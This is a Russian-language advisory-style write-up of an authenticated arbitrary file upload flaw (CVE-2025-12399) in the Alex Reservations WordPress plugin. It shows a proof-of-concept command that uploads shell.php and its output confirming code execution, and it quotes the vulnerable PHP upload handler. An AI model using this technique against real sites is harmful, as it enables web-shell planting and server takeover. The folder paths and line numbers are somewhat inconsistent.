d0n601/cve-2025-12399Alex Reservations: умное бронирование ресторанов <= 2.2.3 - произвольная загрузка файлов аутентифицированным пользователем (Admin+)
Alex Reservations: Smart Restaurant Booking <= 2.2.3 - Аутентифицированная (Admin+) произвольная загрузка файлов
Плагин WordPress Alex Reservations (версии 2.2.3 и более ранние) содержит уязвимость произвольной загрузки файлов, которая позволяет аутентифицированным администраторам WordPress загружать вредоносные PHP-файлы на сервер, что потенциально может привести к удалённому выполнению кода.
Предоставлен POC CVE-2025-12399.py, демонстрирующий, как удалённый злоумышленник загружает shell.php и выполняет удалённый код:
python3 ./CVE-2025-12399.py https://TARGETSITE.com admin "$PASSWORD"
[+] Target: http://TARGETSITE.com
[+] Username: admin
[+] Nonce obtained: 022b25d0a5
[+] File uploaded successfully!
[+] Shell URL: https://TARGETSITE.com/wp-content/uploads/alex-reservations/2025/10/shell.php
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Уязвимость находится в файле UploadFileController.php в конечной точке . Функциональность загрузки не выполняет надлежащей проверки файлов и лишь применяет базовую очистку имени файла с помощью регулярного выражения. Это позволяет аутентифицированным администраторам WordPress загружать произвольные файлы, включая PHP-файлы, которые могут быть выполнены на сервере.
/wp-json/srr/v1/app/upload/fileИсточник: пользовательский ввод из $_FILES['file'] (строка 13)
Приёмник: copy($file['tmp_name'], $target_dir_file) (строка 38)
Уязвимость возникает из-за следующего:
routes.php.UploadFileController расширяет базовый Controller.$_FILES['file'] обрабатываются напрямую без проверки.preg_replace('/[^a-z0-9_\.\-[:space:]]/i', '_', $file_name) (строка 50)wp-content/uploads/alexr-uploads/YYYY/MM/ без проверки MIME-типа и ограничений на расширение файла.public function upload(Request $request)
{
$file = $_FILES['file']; // SOURCE: User input ([line 13](https://plugins.trac.wordpress.org/browser/alex-reservations/trunk/includes/application/Alexr/Http/Controllers/UploadFileController.php#L13))
// Target dir / url
$upload_dir = wp_upload_dir();
$date = evavel_date_now()->format('Y/m');
$base_dir = $upload_dir['basedir'].'/'.ALEXR_UPLOAD_FOLDER.'/'.$date;
$base_url = $upload_dir['baseurl'].'/'.ALEXR_UPLOAD_FOLDER.'/'.$date;
if (!file_exists($base_dir)) {
$folder_created = wp_mkdir_p($base_dir);
if (!$folder_created) {
return $this->response([
'success' => false,
'error' => __eva('Error creating folder.')
]);
}
}
$file_name = $file['name'];
$file_name = preg_replace('/[^a-z0-9_\.\-[:space:]]/i', '_', $file_name); // Only basic sanitization ([line 50](https://plugins.trac.wordpress.org/browser/alex-reservations/trunk/includes/application/Alexr/Http/Controllers/UploadFileController.php#L50))
$target_dir_file = $base_dir.'/'.$file_name;
$target_url_file = $base_url.'/'.$file_name;
$result = copy($file['tmp_name'], $target_dir_file); // SINK: Direct file copy ([line 38](https://plugins.trac.wordpress.org/browser/alex-reservations/trunk/includes/application/Alexr/Http/Controllers/UploadFileController.php#L38))
if (!$result) {
return $this->response([
'success' => false,
'error' => __eva('Error saving file.')
]);
}
return $this->response([
'success' => true,
'file_path' => $target_dir_file,
'file_url' => $target_url_file,
'message' => __eva('Uploaded.')
]);
}